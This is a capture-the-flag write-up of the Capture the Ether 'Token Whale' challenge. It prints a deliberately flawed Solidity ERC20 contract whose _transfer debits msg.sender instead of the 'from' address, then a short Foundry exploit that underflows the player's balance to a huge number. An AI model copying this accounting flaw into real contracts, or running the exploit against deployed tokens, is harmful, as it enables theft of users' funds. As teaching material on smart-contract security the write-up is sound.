ctfwriteup.com
Search…
⌃K

Integer Overflow 2

ERC20 token with wrong accounting such that player can underflow balance
  • In previous versions of Solidity (prior Solidity 0.8.x) an integer would automatically roll-over to a lower or higher number.
  • Without SafeMath (prior Solidity 0.8.x)

Code Audit

contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleDeploy(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}
This challenge is from Capture the Ether.
This contract is a standard ERC20 token contract with flaws. The token is named "SET". The objective is to get 1000000 SET token as player.
player is assigned by TokenWhaleDeploy():
function TokenWhaleDeploy(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
Note that transferFrom(from, to, value) calls _transfer(to, value) under the hood:
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
This is an accounting issue: balance is transfered from msg.sender instead of from. It is possible to underflow player's balance so that the balance becomes a huge number.

Solution

Exploit with comment:
// player has balance 1000 at the beginning
// player transfers 800 SET tokens to alice
// player: 200
TokenWhaleChallengeContract.transfer(address(alice),800);
// This operation is done by alice
// alice approves player to transfer 1000 SET tokens
vm.prank(alice);
TokenWhaleChallengeContract.approve(address(this),1000);
// This operation is done by player
// player transfers 500 SET tokens from alice to bob
// player: 200 - 500 -> underflow
TokenWhaleChallengeContract.transferFrom(address(alice),address(bob),500);
Run test:
forge test --contracts ./src/test/Overflow2.sol -vvvv